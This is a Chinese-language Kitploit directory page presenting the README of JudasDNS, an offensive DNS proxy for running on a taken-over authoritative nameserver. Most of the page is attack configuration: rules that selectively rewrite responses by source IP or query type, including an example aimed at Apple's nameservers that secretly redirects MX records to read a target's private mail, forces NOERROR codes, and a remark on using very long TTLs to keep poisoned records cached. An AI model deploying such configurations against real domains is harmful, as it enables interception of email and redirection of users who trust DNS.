Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
JudasDNS — 轻松实现域名服务器DNS投毒攻击 | Kitploit
工具/GitHubGitHub/mandatoryprogrammer/judasdns
漏洞利用渗透测试DNS 模糊测试红队DNS 分析
GitHubmandatoryprogrammer/judasdns

JudasDNS

轻松实现域名服务器DNS投毒攻击

查看仓库
5269269年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Judas DNS

root@kitploit:~
                                                   
                          ,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         Nameserver DNS poisoning attacks made easy

一个DNS代理服务器,旨在部署在被接管的名字服务器位置,以执行定向利用。Judas通过将所有DNS查询代理到域名的合法名字服务器来工作。其神奇之处在于Judas的规则配置,允许你根据源IP或DNS查询类型更改DNS响应。这使得攻击者能够配置一个恶意名字服务器,执行诸如根据特定源IP范围选择性重定向入站电子邮件(通过修改MX记录)、设置极长的TTL以保持中毒记录缓存等操作。

如何接管一个名字服务器?

有关接管名字服务器和劫持DNS的更多信息,请参阅以下博客文章:"尊重我的权威——劫持有缺陷的名字服务器以入侵你的目标"。

配置示例

以下是一个Judas的配置示例,针对攻击者已入侵/接管了Apple的一个权威名字服务器(针对apple.com)的示例场景:

root@kitploit:~
{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "秘密重定向所有来自127.0.0.1的电子邮件!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "强制所有响应返回NOERROR,即使它们已失败。",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

上述配置值的用途如下:

  • version:配置文件的格式版本(目前始终为1.0.0)。
  • port:Judas应运行的端口。
  • dns_query_timeout:在放弃等待上游目标名字服务器回复之前等待的毫秒数。
  • target_nameservers:目标域名的合法名字服务器,Judas将代表所有请求客户端将DNS查询发送到此处。
  • rules:一系列规则,包含匹配时要应用的DNS响应修改。
    • name:给定规则的名称。
    • query_type_matches:要匹配的查询类型列表,例如CNAME、A等。也可以使用通配符(*)匹配任何查询类型。
    • ip_range_matches:要匹配的IP范围列表,用于选择性伪造对特定IP范围的响应。
    • modifications:请参阅本README的“修改”部分。

修改

Judas的规则包含一个modifications规范,它是一系列要应用于DNS响应(在返回给客户端之前)的修改列表。重要的是,你应阅读node-dns文档以理解DNS响应结构,从而能够修改它。

一个DNS响应格式示例如下:

root@kitploit:~
{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...为简洁起见已修剪...
}

(有关DNS响应数据结构的更多信息,请参见此文档。)

编写修改非常简单,以下是一个带有修改的规则示例:

root@kitploit:~
{
  "name": "强制所有响应返回NOERROR,即使它们已失败。",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

上述规则匹配任何查询类型(由于通配符*),并将DNS响应的header.rcode值设置为0。设置为修改元素的任何对象都会合并到DNS响应中——替换原先设置的值。

另一个示例如下:

root@kitploit:~
{
  "name": "秘密重定向所有来自127.0.0.1的电子邮件!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

上述规则匹配来自127.0.0.1的任何MX查询。DNS响应答案被覆盖为单个指向hacktheplace.localhost的MX记录。实际实现中,这将用于重定向来自特定IP的入站电子邮件,以读取目标的私人邮件。此外,在真实场景中,攻击者可能还会选择修改响应TTL为一个非常高的值,以使其恶意记录尽可能长时间地保留在客户端DNS缓存中。

规则匹配类型

请求者IP

以下规则将匹配客户端的IP地址:

root@kitploit:~
{
  "name": "强制所有来自localhost(127.0.0.1)的响应返回NOERROR。",
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

ip_range_matches字段设置为一个IP范围数组,指定要应用响应修改的目标范围。省略此字段相当于通配符,将匹配所有客户端IP地址。

请求查询类型

以下规则将匹配MX和CNAME查询类型,并相应地应用响应修改:

root@kitploit:~
{
  "name": "强制所有响应返回NOERROR,即使它们已失败。",
  "query_type_matches": [ "MX", "CNAME" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

query_type_matches字段设置为一个要匹配的查询类型数组。省略此字段相当于通配符,将匹配所有查询类型。

响应状态码

以下规则将匹配NXDOMAIN响应码,并相应地应用响应修改:

root@kitploit:~
{
  "name": "强制所有来自localhost(127.0.0.1)的响应返回NOERROR。",
  "response_code_matches": [ "NXDOMAIN" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

response_code_matches字段设置为一个要匹配的响应码数组。省略此字段相当于通配符,将匹配所有RCODE类型。

下载工具